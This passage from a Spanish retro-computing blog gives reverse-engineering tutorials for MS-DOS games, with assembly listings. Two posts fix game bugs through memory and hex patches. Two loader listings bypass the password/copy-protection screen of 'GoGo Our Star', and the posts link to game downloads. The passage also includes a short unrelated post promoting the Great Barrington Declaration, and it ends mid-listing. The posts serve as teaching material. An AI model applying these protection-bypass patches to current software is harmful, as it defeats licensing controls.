Cracking de un juego DOS con IDA (analisis estatico)</a><br><a href="https://www.vlan7.org/2019/01/dos-cracking-series-ii-cracking-de-un.html">02. Cracking de un juego DOS con DOSBox debugger (analisis dinamico)</a><br><a href="https://www.vlan7.org/2019/02/dos-cracking-series-iii-haciendo-un.html">03. Haciendo un cargador (loader) para crackear un juego DOS en tiempo de ejecucion (I)</a><br><a href="https://www.vlan7.org/2019/04/dos-cracking-series-iv-haciendo-un.html">04. Haciendo un cargador (loader) para crackear un juego DOS en tiempo de ejecucion (II)</a><br><a href="https://www.vlan7.org/2019/10/dos-cracking-series-v-dandole-al-dosbox.html">05. Dandole al debugger para arreglar un bug en un juego DOS</a><br><a href="https://www.vlan7.org/2020/12/dos-cracking-series-vi-programando-un.html">06. Programando un TSR para interceptar, en una aventura grafica/conversacional, los comandos que introduce el jugador (y cambiarlos al vuelo)</a><br>07. esta entrada que estas leyendoUnknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-16139950046758979892020-12-16T12:59:00.000-08:002021-11-11T02:14:02.478-08:00DOS cracking series VI ~ Programando un TSR para interceptar, en una aventura grafica/conversacional, los comandos que introduce el jugador (y cambiarlos al vuelo)<a href="https://www.mobygames.com/game/dos/les-manley-in-search-for-the-king">Les Manley in: Search for the King</a> es una vieja (1990) aventura grafica/conversacional para DOS, con una interfaz similar a las primeras aventuras de Sierra, donde los comandos se introducen por teclado, hay un parser que los interpreta, y movemos al protagonista por la pantalla con los cursores (o el raton). La aventura fue desarrollada por Accolade, y tiene un pequeño bug en una habitacion, en un hotel, donde hay una cama en la que te puedes sentar.<br><br> Si nos sentamos con "SIT BED" y luego nos levantamos con "GET UP", Les se sienta y se levanta.<br><br> Pero si nos sentamos con "SIT DOWN" o "SIT", cuando vamos a levantarnos, Les no se levanta, y nos quedamos atascados sin poder mover al personaje.<br><br> El bug afecta a todas las versiones que creo que existen: v1.0, v1.1, v2.0<br><br> Bueno, pues resulta que estoy programando <a href="https://www.vlan7.org/2021/04/dos-cracking-series-viii-palestra-v01.html">un TSR para traducir el juego</a>, y tengo una rutina (colgando de int60) que intercepta los comandos del jugador, y sabe en que habitacion estamos. Teniendo esto hecho, la solucion simple es añadir codigo para que, cuando intercepte un "sit"/"sit down" en la habitacion del hotel, lo cambie por "sit bed".<br><br> Como primer paso, seria bueno intentar solucionar el bug desde el debugger, y despues añadir el fix al TSR. Ahi va un video dandole al debugger. jTL_7Dhv6ww en invidious.<br><br><iframe width="640" height="360" src="https://yewtu.be/embed/jTL_7Dhv6ww" frameborder="0" allowfullscreen></iframe><br> Bien, despues de añadir el fix al codigo, y ya que el trabajo esta hecho, he sacado la parte de codigo que corresponde, y he hecho un fix independiente del <a href="https://www.vlan7.org/2021/04/dos-cracking-series-viii-palestra-v01.html">TSR gordo</a>, y de paso esta entrada que estas leyendo :D Ahi va el listado. <pre>;A86 LESFIX.ASM<br />;Fix para: Les Manley in: Search for the King<br />;testeado en: v2.0, v1.1<br />;vlan7, diciembre 2020<br /><br />org 100h ;.COM<br /><br />;****************************************<br />;* *<br />;* C O D I G O R E S I D E N T E *<br />;* *<br />;****************************************<br />@@start: jmp near @@init ;saltar a instalacion/old handler<br /> dw 0 ;extra word para far jmp segment<br /><br />new21 proc far<br />;¿es la v1.1 o v2.0 del juego?<br />;si, parchear en memoria, una instruccion del juego por la instruccion "INT 60"<br />;no, continuar<br /> cmp ah,48h ;¿allocate memory?<br /> jne @@start<br /> push ds,si<br /> push word ss:[bp+4] ;el segmento donde parchear<br /> pop ds<br /> mov si,_offset_v2<br /> cmp word [si],0fa8bh ;¿mov di,dx?<br /> jne @@v11<br /> cmp word [si-2],0f38bh ;¿mov si,bx?<br /> jne @@v11<br /> mov word [si],60cdh ;patch!<br /> jmp short @@done<br />@@v11: mov si,_offset_v11<br /> cmp word [si],0fa8bh ;¿mov di,dx?<br /> jne @@done<br /> cmp word [si-2],0f38bh ;¿mov si,bx?<br /> jne @@done<br /> mov word [si],60cdh ;patch!<br />@@done: pop si,ds<br /> jmp short @@start ;continuar<br />new21 endp<br /><br />new60 proc far<br />;¿estamos en la habitacion del hotel y se ha introducido "sit"/"sit down"?<br />;si, sustituir en memoria "sit\x00" o "sit\x20down\x00" por "sit\x20bed\x00"<br />;no, bye<br /> mov di,dx ;instruccion parcheada con CD 60<br /> push ds,si<br /> lds si,[bp+6] ;el segmento donde parchear<br /> cmp si,_offset_comando ;¿es un comando?<br /> jne @@exit60<br />;54 79 70 69 63 61 6C 20 52 6F 6F 6D 00<br />;T y p i c a l 20 R o o m 0<br /> cmp word [_offset_room],7954h ;¿estamos en habitacion hotel?<br /> jne @@exit60<br />;73 69 74 20 64 6F 77 6E 00<br />;s i t 20 d o w n 0<br /> cmp word [si],6973h ;¿"sit\x00"?<br /> jne @@exit60<br /> cmp word [si+2],0074h<br /> je @@patch60<br /> cmp word [si+3],6420h ;¿"sit\x20down\x00"?<br /> jne @@exit60<br /> cmp word [si+5],776fh<br /> jne @@exit60<br /> cmp word [si+7],6eh<br /> jne @@exit60<br />;73 69 74 20 62 65 64 00<br />;s i t 20 b e d 0<br />@@patch60: mov word [si+3],6220h ;write "\x20bed\x00" to memory<br /> mov word [si+5],6465h<br /> mov byte [si+7],0<br />@@exit60: pop si,ds<br /> iret ;volver al juego<br />new60 endp<br /><br />;***************************************<br />;* *<br />;* I N S T A L A C I O N T S R *<br />;* *<br />;***************************************<br />;;autocomprobarse en memoria<br />@@init: mov ax,3521h ;get @int21<br /> int 21h ;puntero en es:bx<br /> cmp word es:[bx+1],48fch ;¿estoy ya residente?<br /> jne @@isr_install<br /> mov dx,offset msgresidente ;si, bye<br /> mov ah,9 ;print string<br /> int 21h<br /> mov ah,4ch ;salir al DOS<br /> int 21h<br /><br />@@isr_install: inc byte @@start ;crear salto a antigua int21<br /> mov word @@start+1,bx<br /> mov word @@start+3,es<br /> mov dx,offset new21<br /> mov ah,25h ;set @int21, ojo! asegurate de que AL=21<br /> int 21h<br /> mov al,60h ;set @int60<br /> mov dx,offset new60<br /> int 21h<br /> mov es,ds:[2ch] ;@entorno<br /> mov ah,49h ;liberar espacio entorno<br /> int 21h<br /> mov dx,offset @@init ;fin codigo residente<br /> add dx,0fh ;redondeo a parrafo<br /> mov cl,4<br /> shr dx,cl ;bytes->parrafos<br /> mov ax,3100h ;terminar, dejar DX parrafos residentes<br /> int 21h<br /><br />;***********************************************<br />;* *<br />;* D A T O S N O R E S I D E N T E S *<br />;* *<br />;***********************************************<br />_offset_comando equ 1eah<br />_offset_room equ 29eah<br />_offset_v2 equ 6d0fh<br />_offset_v11 equ 6d07h<br />msgresidente db "ya estoy en memoria, nothing todo. bye",0dh,0ah,"$"</pre> He comentado lo que me parecia mas relevante, pero vamos a añadir un poco mas de info sobre como funciona el artefacto.<br><br> El TSR coloca en INT_60 una rutina que interceptara los comandos que introduce el jugador, y si detecta que estamos en la habitacion del bug, y el comando es "sit\x00", lo modifica por "sit\x20bed\x00". Todo esto en memoria.<br><br> Muy bien, tenemos el payload, pero para que se ejecute, necesitamos algo que lo active. La solucion que yo segui fue parchear alguna instruccion del juego en memoria, con una llamada a nuestra INT_60. Idealmente buscaba un punto en el flujo de ejecucion del juego, donde el comando del jugador estuviera en memoria, y el juego estuviera a punto de leerlo.<br><br> Una cosa a tener en cuenta es que el juego espera que se ejecute la instruccion que precisamente parcheamos. En este caso es mov di,dx. Lo resolvemos poniendo mov di,dx como primera instruccion de nuestra int. <br><br> No es una buena idea machacar una instruccion como cmp, o test, porque aunque preservaramos los flags con un pushf al principio y un popf antes de iret, resulta que iret (en modo real) hace un popf justo antes de retornar. Pero si no nos quedara otra opcion que machacar una instruccion que afecte a flags, entonces justo antes de iret tendriamos que escribir el contenido del registro FLAGS en la pila, en la posicion donde iret espera encontrarlo cuando retorne.<br><br> Es mejor buscar una instruccion que no modifique los flags, y si podemos elegir, una de dos bytes, para que \xcd\x60 calce perfecto (para una instruccion de tres bytes o mas: nop-padding).<br><br> Esto se esta haciendo largo, asi que vamos resumiendo.<br><br> Para encontrar un punto donde el juego este a punto de leer el comando del jugador, lo que hice fue darle al debugger, poniendo especial atencion a las instrucciones de tratamiento de cadenas (lodsb, movsb, stosb, cmpsb y las equivalentes para word: lodsw, etc), o instrucciones que lean/escriban de/en ds:[si] y es:[di]).<br><br> A base de combinar en el debugger: <pre>BPINT 9<br />BPM segment:offset<br />MEMDUMPBIN segment:0 ffff</pre> y en la shell: <pre>xxd MEMDUMP.BIN |grep -i cadena_potencialmente_en_memoria</pre> pude localizar las direcciones de memoria donde el juego guarda:<br>- el ultimo comando introducido por el jugador y<br>- el nombre de la habitacion actual.<br><br> y decidir en que punto del codigo del juego inyectaremos una llamada a int60 (\xcd\x60). Esta llamada es la mecha.<br><br> Tenemos la dinamita y la mecha. Ya solo nos falta un artificiero que plante la mecha en el codigo del juego. Podriamos parchear el EXE del juego con un editor hexa, pero vamos a ir un poco mas alla: no tocar el EXE, y cuando el juego este en memoria, que sea el propio TSR quien cambie el codigo del juego en memoria, sin cambiar en ningun momento el archivo ejecutable. Y ahi entra en juego nuestra rutina int21, que sera la rutina que cambiara la instruccion "mov di,dx" del juego por la instruccion "int 60".<br><br> Vamos terminando ya. Resumiendo: <pre>- la dinamita o payload es nuestra int60.<br />- la mecha son los opcodes \xcd\x60, que se meteran en el codigo del juego, y llamaran a nuestra int60 cuando el juego los ejecute.<br />- y el artificiero que pone la mecha en el codigo del juego es nuestra int21.</pre> El juego funciona bien en dosbox. La version 2.0 del juego puede bajarse de<br>https://www.mediafire.com/file/f5j5u8xnfb84uy1/King2.7z/file <br><br>Para probarlo sin tener que jugar hasta la habitacion del hotel, comparto un archivo <a href="https://archive.org/details/lesfix.-7z"><b>LESFIX.7z</b></a> con una partida guardada. Instrucciones en el README.TXT. Por supuesto, se incluye el codigo fuente.<br><br> Hasta la proxima y feliz cracking.<br><br><a href="https://www.vlan7.org/2018/12/dos-cracking-series-i-cracking-de-un.html">01. Cracking de un juego DOS con IDA (analisis estatico)</a><br><a href="https://www.vlan7.org/2019/01/dos-cracking-series-ii-cracking-de-un.html">02. Cracking de un juego DOS con DOSBox debugger (analisis dinamico)</a><br><a href="https://www.vlan7.org/2019/02/dos-cracking-series-iii-haciendo-un.html">03. Haciendo un cargador (loader) para crackear un juego DOS en tiempo de ejecucion (I)</a><br><a href="https://www.vlan7.org/2019/04/dos-cracking-series-iv-haciendo-un.html">04. Haciendo un cargador (loader) para crackear un juego DOS en tiempo de ejecucion (II)</a><br><a href="https://www.vlan7.org/2019/10/dos-cracking-series-v-dandole-al-dosbox.html">05. Dandole al debugger para arreglar un bug en un juego DOS</a><br>06. De dinamitas, mechas y artificieros.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-15193257823035300602020-10-05T14:54:00.000-07:002024-02-04T01:05:04.894-08:00Declaracion de Great Barrington<div class="separator" style="clear: both;"><a href="https://gbdeclaration.org/" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" height="260" width="500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtGj5sJXnpv-R_NqssajOjrA-YgB3AIOi8jPODaCWpT-cxF9QNn0n3O-onn2QANcqrXMIE3PHgIqsBc-8h2Dosdg14Y1nduPpQEHiwTDhG5Am6rAwQVgovMTRZbGsssIyIiX3sEU2PUYNoCsEpNxLTuzcVrBf6MCZY6HLHEYVw-5jWjKnNOjm1vNh8vAd6/s1600/gbd.webp"/></a></div> Epidemiologos y medicos del mundo lanzan una peticion internacional para poner fin al confinamiento indiscriminado, que puede hacer mas mal que bien.<br>+ Info <a href="https://gbdeclaration.org/">https://gbdeclaration.org/</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2887913708208960400.post-6030942165474424802019-10-02T04:59:00.000-07:002024-02-07T08:38:21.930-08:00DOS cracking series V ~ Dandole al DOSBox debugger para arreglar un bug en un juego MS-DOSY con esta ya son cinco las entradas que llevamos de oldschool cracking. Decir que no soy ningun experto y hacia años (decadas ya joder :/) que no cacharreaba con DOS a bajo nivel, por lo que cualquier correccion o comentario es bienvenido, yo aprendo.<br><br> <a href="https://www.vlan7.org/2018/12/dos-cracking-series-i-cracking-de-un.html">01. Cracking de un juego DOS con IDA (analisis estatico)</a><br><a href="https://www.vlan7.org/2019/01/dos-cracking-series-ii-cracking-de-un.html">02. Cracking de un juego DOS con DOSBox debugger (analisis dinamico)</a><br><a href="https://www.vlan7.org/2019/02/dos-cracking-series-iii-haciendo-un.html">03. Haciendo un cargador (loader) para crackear un juego DOS en tiempo de ejecucion (I)</a><br><a href="https://www.vlan7.org/2019/04/dos-cracking-series-iv-haciendo-un.html">04. Haciendo un cargador (loader) para crackear un juego DOS en tiempo de ejecucion (II)</a><br>05. esta entrada que estas leyendo.<br><br> Bien, comencemos. California Games (1987) [1] tiene un bug en la parte donde se introduce el nombre del jugador/es. El bug hace que solo se pueda introducir un nombre con un teclado de los de 84/85 teclas, si tienes un teclado extendido de 101/102 teclas el juego no detecta nada.<br><br> ¿Que implica esto? que no podemos jugar a California Games en EGA/VGA, unicamente si usamos DOSBox en CGA y Tandy (machine=cga o machine=tandy) funcionara, ya que en estas dos DOSBox emula un teclado no extendido que si soporta el juego. Comentar que no es problema de DOSBox, el bug tambien existe en un DOS real.<br><br> Ante esta situacion nos asaltan dos preguntas: ¿por que? y ¿conseguiremos de alguna manera jugar en EGA/VGA? Bien, para resolverlo vamos a darle al debugger.<br><br> Lo que podemos observar es que tenemos un problema con el teclado. Comenzaremos usando los comandos: <pre>INTHAND [intNum] - Set code view to interrupt handler.<br />INTVEC [filename] - Writes interrupt vector table to file.</pre> Vamos a inspeccionar la interrupcion de teclado del DOS. <pre>INTHAND 16</pre> y el debugger nos muestra el codigo que se ejecuta cuando se llama a la INT 16. A continuacion la parte relevante: <pre>CS:6D5F 0AE4 or ah,ah ; ¿nos llaman para INT 16 funcion 0?<br />CS:6D61 740B je 6D6E ; SI: Saltamos a nuestra rutina de teclado a gestionar funcion 0<br />CS:6D63 FECC dec ah ; ¿funcion 1?<br />CS:6D65 7438 je 6D9F ; SI: Saltamos a nuestra rutina funcion 1<br />CS:6D67 FECC dec ah ; ¿funcion 2?<br />CS:6D69 7445 je 6DB0 ; SI: Saltamos a nuestra rutina funcion 2</pre> Bien, ese codigo no se corresponde con la INT 16 del DOS, el juego ha capturado la INT 16 y redirige las funciones 0, 1 y 2 a su propia rutina de manejo de teclado.<br><br> Si quisieramos ver que interrupciones esta capturando el programa, podriamos volcar a un archivo el vector de interrupciones con DOSBox recien iniciado y volcarlo de nuevo en el punto del programa que queramos. <pre>INTVEC orig<br />INTVEC juego</pre> y el debugger nos responde con <pre>DEBUG: Interrupt vector table written to ORIG.<br />DEBUG: Interrupt vector table written to JUEGO.</pre> y si comparamos ambos archivos (son archivos de texto) los punteros que no coincidan seran las interrupciones que el juego ha capturado. Si lo hacemos veremos que el juego captura unas cuantas, entre ellas la INT 16 <pre>valor del puntero original -> F000:E9EC<br />valor del puntero a la rutina para la INT 16 del juego -> CS:6D57</pre> Bien, si continuamos la ejecucion y volvemos a activar el debugger (ALT+PAUSA) en el punto donde el juego te pide tu nombre veremos que el juego llama a la INT 21/8 para leer caracteres del teclado, y el bug esta en que el juego asume que el DOS acabara llamando a INT 16/0. Con un teclado no extendido es asi y todo va bien, pero con un teclado extendido no, si nos fijamos en el valor de AX que muestra el debugger veremos que el DOS acaba llamando a INT 16 con AH=10h , que el juego no redirige, con lo cual no ocurre nada.<br><br> Comentar que podemos caer justo en la llamada a INT 21/8 poniendo un breakpoint de interrupcion con el comando: <pre>BPINT 21 8</pre> Y al llegar a la parte de introducir nombres el debugger nos deja aqui: <pre>CS:9830 B608 mov dh,08<br />(...)<br />CS:9841 92 xchg dx,ax<br />CS:9842 CD21 int 21 ; llamamos a INT 21/8</pre> Para que funcione con teclado extendido (es decir, poder jugar en dosbox con EGA/VGA), el fix que se me ocurrio fue modificar la parte de codigo donde se llama a INT 21/8 para que llame a INT 16/0. <pre>CS:9830 30F6 xor dh,dh ; ESTA LINEA ES EL CRACK<br />(...)<br />CS:9841 92 xchg dx,ax ; INT 16/0<br />CS:9842 CD16 int 16 ; ESTA LINEA ES EL CRACK</pre> Para aplicar el fix abrimos CALGAMES.EXE con nuestro editor hexadecimal favorito y sustituimos: <pre>b6 08 a1 5c 5e 0a e4 75 08 c7 06 5c 5e ff ff eb 05 92 cd 21<br />por<br />30 f6 a1 5c 5e 0a e4 75 08 c7 06 5c 5e ff ff eb 05 92 cd 16</pre> Podemos traducir rapidamente instrucciones ASM a opcodes por ejemplo con la ayuda de algun ensamblador online. A mi me gusta el de shell-storm <a href="https://shell-storm.org/online/Online-Assembler-and-Disassembler/">[2]</a>, ya que es sencillo, funcional y sobre todo porque admite tambien x86 en 16 bits. Simplemente escribimos la/s instruccion/es, marcamos las opciones x86 (16) e Inline y pulsamos el boton Assemble.<br><br> Ah, si aun queda alguien ahi fuera que lo vaya a jugar en un DOS puro, desde la version 5.0 puede añadir la siguiente linea al CONFIG.SYS (no soportado por DOSBox): <pre>SWITCHES /K</pre><i>/K - Causes an enhanced keyboard to act as though it were an older standard keyboard.</i><br><br> Feliz reversing.<br><br> [1] California Games https://www.mediafire.com/file/v1rbjsg5499ipc1/CGAMES.7z/file<br>[2] <a href="https://shell-storm.org/online/Online-Assembler-and-Disassembler/">https://shell-storm.org/online/Online-Assembler-and-Disassembler/</a>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-51023792760976889972019-04-03T06:07:00.000-07:002024-02-07T08:36:19.778-08:00DOS cracking series IV ~ Haciendo un cargador (loader) para crackear un juego DOS en tiempo de ejecucion (II)NOTA: Esta entrada es un <i>addendum</i>. Si lo que buscas es un tutorial mas o menos detallado de como hacer un cargador/tsr aplicado al cracking... <a href="https://www.vlan7.org/2019/02/dos-cracking-series-iii-haciendo-un.html">aqui esta la primera parte</a>.<br><br> Comenzamos. En el cargador de la primera parte, para crackear La Colmena, parcheabamos en memoria asi: <pre>mov Word Ptr [0097], 9090h ; CRACK ~ escribimos los bytes 90 90 en DS:[0097]</pre> En este caso es correcto, ya que cuando la instruccion MOV se ejecuta, los bytes que queremos parchear estan en DS:[0097], pero normalmente no tenemos el valor del segmento en ningun registro, en la practica la situacion es que las instrucciones a sobreescribir residen en un segmento distinto en cada ejecucion, y tendremos que buscar en la pila en que posicion se ha <i>pusheado</i> el segmento, o a malas siempre podriamos averiguarlo por fuerza bruta.<br><br> Vamos a poner un ejemplo, otro juego para el que que yo sepa nunca se ha publicado crack: GoGo Our Star [1], un juego coreano de naves de 1993 donde la pantalla de claves aparece al finalizar el primer nivel. Esta vez me voy a ahorrar el proceso y voy a poner un par de cargadores directamente. Primero por fuerza bruta, y despues intentaremos hacerlo mas limpio.<br><br> Fuerza bruta pues. Dandole al debugger podemos ver que el desplazamiento siempre es el mismo, asi que haremos fuerza bruta sobre el segmento, recorriendo todos los segmentos posibles desde [0001] hasta [FFFD] y buscando en ellos los bytes que queremos parchear. Si los encontramos, entonces parcheamos. La interrupcion que capturamos es la 10h (Video). <pre>SIZE EQU 1024 ; Este programa y su pila caben en 1 KB<br />OVL segment para 'code'<br /> assume cs:OVL, ds:OVL<br /> org 100h ; Esto sera un programa .COM<br /><br />START: jmp INITCODE ; Codigo de inicializacion<br /><br />OLDINT10 dw 0,0 ; Espacio para el puntero a la INT_10h del sistema<br /><br />NEWINT proc far<br /> cmp ax, 0013h ; Se ha llamado a INT 10h con AX=0013 ?<br /> jnz EXIT ; NO: saltamos a la INT 10h del sistema<br /><br /> push es ; Guardamos ES<br /> push ax ; Guardamos AX<br /> xor ax, ax ; AX=0<br /><br />; fuerza bruta<br />; buscamos en todos los segmentos [0001]..[FFFD] los bytes que queremos parchear<br />INICIO:<br /> inc ax<br /> cmp ax, 0fffe ; Hemos llegado al ultimo segmento?<br /> je NOTRIGHT ; SI: nos vamos sin parchear<br /> mov es, ax ; ES=segmento a comprobar<br /> cmp Word Ptr es:[032b], 0374h ; ¿ES:[032b] = 74 03?<br /> jne INICIO ; NO: vamos a comprobar el segmento siguiente<br /> cmp Word Ptr es:[034a], 3675h ; ¿ES:[034a] = 75 36?<br /> jne INICIO ; NO: vamos a comprobar el segmento siguiente<br /> cmp Word Ptr es:[0366], 1a75h ; ¿ES:[0366] = 75 1a?<br /> jne INICIO ; NO: vamos a comprobar el segmento siguiente<br /><br />; Hemos encontrado el segmento! :) Vamos a parchear<br />; ES:[032b] = JMP SHORT<br /> mov Word Ptr es:[032b], 03ebh ; Crack ~ escribimos los bytes EB 03 en es:[032b]<br /><br />; ES:[034a] = NOP NOP<br /> mov Word Ptr es:[034a], 9090h ; Crack ~ escribimos los bytes 90 90 en es:[034a]<br /><br />; ES:[0366] = NOP NOP<br /> mov Word Ptr es:[0366], 9090h ; Crack ~ escribimos los bytes 90 90 en es:[0366]<br /><br />NOTRIGHT:<br /> pop ax ; Restauramos ax<br /> pop es ; Restauramos es<br />EXIT:<br /> jmp DWord Ptr cs:[OLDINT] ; Saltamos a la INT 10h del sistema<br />NEWINT endp<br /><br />INITCODE:<br /> mov sp, SIZE ; Redefinimos la pila<br /> mov bx, SIZE/16<br /> mov ah, 4ah ; Redimensionamos bloque memoria<br /> int 21h<br /><br /> lea dx, MSG<br /> mov ah, 9 ; Escribimos texto por pantalla<br /> int 21h<br /><br /> xor ah, ah ; Esperamos pulsacion de tecla<br /> int 16h<br /><br /> mov ax, 3510h ; Queremos el valor del puntero a la INT 10h del sistema<br /> int 21h<br /> mov OLDINT[0], bx ; Guardamos puntero a la INT 10h del sistema<br /> mov OLDINT[2], es ; (necesitaremos llamarla despues)<br /><br /> mov ax, 2510h ; Sobreescribimos en el vector de interrupciones el puntero a INT 10h por<br /> lea dx, NEWINT ; un puntero a nuestra rutina NEWINT proc far<br /> int 21h<br /><br /> push cs<br /> pop es ; Necesitaremos ES:BX apuntando a EXEC_INFO<br /><br /> lea bx, EXEC_INFO<br /> mov Word Ptr [bx], 0<br /> mov Word Ptr [bx+2], 80h ; PSP<br /> mov Word Ptr [bx+4], cs<br /> mov Word Ptr [bx+6], 5ch ; FCB 0<br /> mov Word Ptr [bx+8], cs<br /> mov Word Ptr [bx+0ah], 6ch ; FCB 1<br /> mov Word Ptr [bx+0ch], cs<br /><br /> lea dx, FILENAME<br />; ES:BX apuntando a EXEC_INFO<br />; DS:DX apuntando al nombre ASCIIZ del archivo a ejecutar<br /> mov ax, 4b00h<br /> int 21h ; cargar y ejecutar programa<br /><br /> mov dx, OLDINT[0]<br /> mov ds, OLDINT[2]<br /> mov ax, 2516h ; Restauramos la INT_10h del sistema<br /> int 21h<br /><br /> push cs<br /> pop ds ; DS = CS<br /><br /> mov ax, 4c00h ; terminar<br /> int 21h<br /><br />FILENAME db "OURSTAR.EXE",0 ; programa a ejecutar<br />EXEC_INFO db 22 DUP (0)<br />MSG db 0dh,0ah<br /> db "Go! Go! OurStar floppy version crack.",0dh,0ah<br /> db "2019, vlan7",0dh,0ah,"$"<br /><br />OVL ends<br /><br />end START</pre> Funcional, pero un poco salvaje ¿no? Podria eliminar algunas direcciones reservadas donde seguro que no van a estar los bytes que queremos modificar, o quizas tener en cuenta el modelo de memoria segmentada del DOS, donde los segmentos se "solapan" parcialmente y hay multiples segmento:desplazamiento diferentes para apuntar al mismo byte. 7c0:0 , 0:7c , 204:5b0 ... todos esos punteros apuntan al mismo byte en memoria. Pero bueno no queria complicarlo, de todas formas seguiria siendo salvaje.<br><br> Si queremos hacerlo limpio podemos averiguar el segmento donde queremos parchear sabiendo como funcionan las instrucciones CALL/RET y que ocurre en el prologo/epilogo de una funcion. Sin entrar en detalle, cuando se ejecuta una instruccion (near) CALL se hace un push de IP (en un far CALL -> push de CS e IP), de tal forma que cuando se ejecute RET el flujo de ejecucion pueda continuar en la instruccion siguiente a dicha instruccion CALL. Es un poco enrevesado ponerlo por escrito, cosas del lenguaje, pero la idea es mas simple. En un video se veria mejor, seguro que hay alguno en internet que lo explica de forma simple.<br><br> Bien, los bytes que queremos parchear estan en una direccion de memoria [segmento]:[desplazamiento]. El desplazamiento ya lo hemos averiguado con el debugger. Para averiguar el segmento vamos a bucear en la pila.<br><br> Hacemos que BP apunte a la cima de la pila (SP) y al sumar cierto valor a BP estaremos apuntando algunos CALLs hacia atras. Dicho de otro modo, para algun valor de <i>x</i>, SS:[BP+<i>x</i>] apunta al segmento que buscamos, el segmento donde estan los bytes a parchear. Para averiguar <i>x</i>, bien, ver comentarios en el codigo. <pre>SIZE EQU 1024 ; Este programa y su pila caben en 1 KB<br />OVL segment para 'code'<br /> assume cs:OVL, ds:OVL<br /> org 100h ; Esto sera un programa .COM<br /><br />START: jmp INITCODE ; Codigo de inicializacion<br /><br />OLDINT10 dw 0,0 ; Espacio para el puntero a la INT_10h del sistema<br /><br />NEWINT10 proc far<br /> cmp ax, 0013h ; Nos llaman para INT_10h con AX=0013 ?<br /> jnz EXIT ; NO: saltamos a la INT_10h del sistema<br /><br />;; Necesitamos el segmento donde estan los bytes que queremos parchear<br /> push bp ; Guardamos BP<br /> mov bp, sp ; BP apunta a la cima de la pila<br /><br /> push es ; Guardamos ES<br /> push ax ; Guardamos AX<br /><br />; En este punto, podemos cambiar la vista de datos a SS:BP<br />; (DOSBox debugger -> "d ss:bp")<br />; De todos esos valores, de dos en dos bytes, uno es el segmento que buscamos.<br />; Y no deberia estar muy lejos desde SS:BP<br /><br />; Pero quizas sea mas rapido construir en memoria una lista de instrucciones tal que asi:<br />; mov ax,[bp] ; mov ax,[bp+2h] ; mov ax,[bp+4h] ; mov ax,[bp+6h] ...<br />; por ejemplo escribiendo opcodes en caliente con el comando SM de debugger<br /><br />; Y con el debugger ejecutaremos instruccion por instruccion viendo que valor va<br />; tomando AX.<br /><br />; Pongamos que estamos buscando el segmento donde estan los bytes 74 03.<br />; Pongamos que ejecutamos en el debugger mov ax,[bp+12h]. Ya conocemos el<br />; desplazamiento, digamos que es 032b, entonces iriamos a AX:32b (DOSBox<br />; debugger -> d ax:32b) y si vemos 7403 enhorabuena, hemos encontrado el<br />; segmento en la pila, podemos añadir al codigo la instruccion mov ax,[bp+12h]<br /><br /> mov ax, [bp+12h] ; SS:[bp+12h] son unos cuantos CALLs hacia atras<br /> ; y ahi tenemos el segmento donde estan los bytes a parchear<br /> mov es, ax ; lo movemos a ES<br />;;<br /><br />;; Ahora comprobamos que valor tienen los bytes del juego en memoria que<br />; queremos parchear, porque si ya los hemos parcheado en alguna llamada previa a<br />; INT_10/13, no queremos volver a hacerlo.<br />; Ojo!! x86 es little endian asi que los bytes van "al reves"<br /> cmp Word Ptr es:[032b], 0374h ; ¿ES:[032b] = 74 03? (JE ($+3))<br /> jne YAPARCHEADO ; NO: nos vamos sin parchear<br /> cmp Word Ptr es:[034a], 3675h ; ¿ES:[034a] = 75 36? (JNE ($+36))<br /> jne YAPARCHEADO ; NO: nos vamos sin parchear<br /> cmp Word Ptr es:[0366], 1a75h ; ¿ES:[0366] = 75 1a? (JNE ($+1a))<br /> jne YAPARCHEADO ; NO: nos vamos sin parchear<br />;;<br /><br />;; Si estamos aqui es que aun no hemos parcheado. Vamos a parchear en memoria :)<br />; ES:[032b] = JMP SHORT<br /> mov Byte Ptr es:[032b], 0ebh ; Crack ~ escribimos el byte EB en ES:[032b]<br /><br />; ES:[034a] = NOP NOP<br /> mov Word Ptr es:[034a], 9090h ; Crack ~ escribimos 90 90 en ES:[034a]<br /><br />; ES:[0366] = NOP NOP<br /> mov Word Ptr es:[0366], 9090h ; Crack ~ escribimos 90 90 en ES:[0366]<br />;;<br /><br />YAPARCHEADO:<br /> pop ax ; Restauramos AX<br /> pop es ; Restauramos ES<br /> pop bp ; Restauramos BP<br />EXIT:<br /> jmp DWord Ptr cs:[OLDINT10] ; Saltamos a la INT_10h del sistema<br />NEWINT10 endp<br /><br />INITCODE:<br /> mov sp, SIZE ; Redefinimos la pila<br /> mov bx, SIZE/16<br /> mov ah, 4ah ; Redimensionamos bloque memoria<br /> int 21h<br /><br /> lea dx, MSG<br /> mov ah, 9 ; Escribimos texto por pantalla<br /> int 21h<br /><br /> xor ah, ah ; Esperamos pulsacion de tecla<br /> int 16h<br /><br /> mov ax, 3510h ; Queremos el puntero a la INT_10h del sistema<br /> int 21h<br /> mov OLDINT10[0], bx ; Guardamos puntero a la INT_10h del sistema<br /> mov OLDINT10[2], es ; (necesitaremos llamarla despues)<br /><br /> push cs<br /> pop es ; Necesitaremos ES:BX apuntando a EXEC_INFO<br /><br /> mov ax, 2510h ; Sobreescribimos en el vector de interrupciones el<br /> ; puntero a INT_10h por<br /> lea dx, NEWINT10 ; un puntero a nuestra rutina NEWINT10 proc far<br /> int 21h<br /><br />;; Parameter block<br /> lea bx, EXEC_INFO<br /> mov Word Ptr [bx], 0<br /> mov Word Ptr [bx+2], 80h ; PSP<br /> mov Word Ptr [bx+4], cs<br /> mov Word Ptr [bx+6], 5ch ; FCB 0<br /> mov Word Ptr [bx+8], cs<br /> mov Word Ptr [bx+0ah], 6ch ; FCB 1<br /> mov Word Ptr [bx+0ch], cs<br />;;<br /><br /> lea dx, FILENAME<br />; ES:BX apuntando a EXEC_INFO<br />; DS:DX apuntando al nombre ASCIIZ del archivo a ejecutar<br /> mov ax, 4b00h<br /> int 21h ; cargar y ejecutar programa<br /><br /> mov dx, OLDINT10[0]<br /> mov ds, OLDINT10[2]<br /> mov ax, 2516h ; Restauramos la INT_10h del sistema<br /> int 21h<br /><br /> push cs<br /> pop ds ; DS = CS<br /><br /> mov ax, 4c00h ; terminar<br /> int 21h<br /><br />FILENAME db 